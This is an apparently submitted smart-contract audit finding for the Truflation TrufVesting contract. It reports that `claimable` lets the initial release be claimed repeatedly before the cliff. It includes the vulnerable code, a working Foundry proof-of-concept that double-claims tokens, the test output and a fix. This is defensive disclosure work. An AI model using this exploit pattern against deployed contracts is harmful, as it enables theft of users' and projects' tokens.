Dazzling Indigo Goblin

high

# An attacker can drain TRUF tokens after initial release period and before the cliff

## Summary
When `claim` function is called, it calculates claimable amount by calling `claimable` function.
However the function does not check if initial release is already claimed, thus including a vulnerability to repeat claiming initial release.

## Vulnerability Detail
```Solidity
uint256 totalAmount = userVesting.amount;

uint256 initialRelease = (totalAmount * info.initialReleasePct) / DENOMINATOR;

startTime += info.cliff;

if (startTime > block.timestamp) {
    return initialRelease;
}
```
After initial release and before the cliff, `claimable` function always return `initialRelease` without validating if it has already been claimed. As a result, initial percentage of tokens can be claimed multiple times.

Here's a PoC for double claiming initial release:
```Solidity
function testDrainTokensBeforeCliff() public {
    // Setup Vesting
    vm.startPrank(owner);
    trufToken.approve(address(vesting), type(uint256).max);
    vesting.setVestingCategory(type(uint256).max, "Preseed", 1_000_000e18, false); // 1M TRUF
    // 10% initial release, 1 month cliff, 24 months vesting period
    vesting.setVestingInfo(0, type(uint256).max, TrufVesting.VestingInfo(1000, 3 days, 30 days, 24 * 30 days, 30 days));
    vesting.setUserVesting(0, 0, alice, 0, 10_000e18); // 10k TRUF
    vm.stopPrank();

    // Forward time to after initialPeriod, before cliff
    vm.warp(block.timestamp + 7 days);

    // Alice claims initial release
    vm.startPrank(alice);
    vesting.claim(alice, 0, 0, 1_000e18); // 1k TRUF
    vm.stopPrank();

    assertEq(trufToken.balanceOf(alice), 1_000e18, "Alice should have 1k TRUF");

    // Alice can claim initial release again
    vm.startPrank(alice);
    vesting.claim(alice, 0, 0, 1_000e18); // 1k TRUF
    vm.stopPrank();

    assertEq(trufToken.balanceOf(alice), 2_000e18, "Alice should have 2k TRUF");
}
```

Result of running test:
```bash
Running 1 test for test/token/TrufVesting.t.sol:TrufVestingTest
[PASS] testDrainTokensBeforeCliff() (gas: 389707)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.62ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

## Impact
All of TRUF tokens in the contract can be drained.

## Code Snippet
https://github.com/sherlock-audit/2023-12-truflation/blob/37ddbb69e0c7fb6510f1ec99162fd9172ec44733/truflation-contracts/src/token/TrufVesting.sol#L164-L182

## Tool used
Manual Review, Foundry

## Recommendation
`claimable` function should validate if initial period token has already been claimed.